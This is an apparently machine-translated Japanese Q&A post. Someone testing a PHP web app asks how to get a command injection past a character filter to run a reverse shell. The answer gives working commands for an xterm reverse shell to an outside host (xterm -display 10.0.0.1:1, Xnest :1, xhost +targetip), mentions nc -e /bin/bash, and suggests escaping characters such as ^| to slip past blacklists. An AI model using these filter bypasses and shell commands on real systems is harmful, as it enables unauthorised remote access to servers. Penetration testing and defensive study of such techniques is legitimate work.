私はPHP webappをテストしています。さまざまなコマンドインジェクションメソッドを試したところ、%0a
のみを受け入れ、ls
またはid
ただし、コードは、リバースシェルを実行するために必要な| & ; ( " / > ’
などの多くの文字をフィルタリングしています。 nc -e /bin/bash
のように。
このフィルターをバイパスする方法に関する提案はありますか?
xtermを使用
リバースシェルの最も単純な形式の1つは、xtermセッションです。次のコマンドをターゲットで実行する必要があります。 TCPポート6001でシステム(例10.0.0.1)に接続しようとします。
xterm -display 10.0.0.1:1
着信xtermをキャッチするには、Xサーバー(:1
– TCPポート6001)でリッスンします。これを行う1つの方法は、Xnest(システムで実行する)を使用することです。
Xnest :1
ターゲットをシステムに接続することを承認する必要があります(コマンドはシステムでも実行されます)。
xhost +targetip
ブラックリストを安全確保の失敗と見なしてください。
文字のブラックリストは安全ではないため、リスト自体をバイパスすることを検討する必要があります。
例:^|
ではありません |
しかし、それは仕事をします。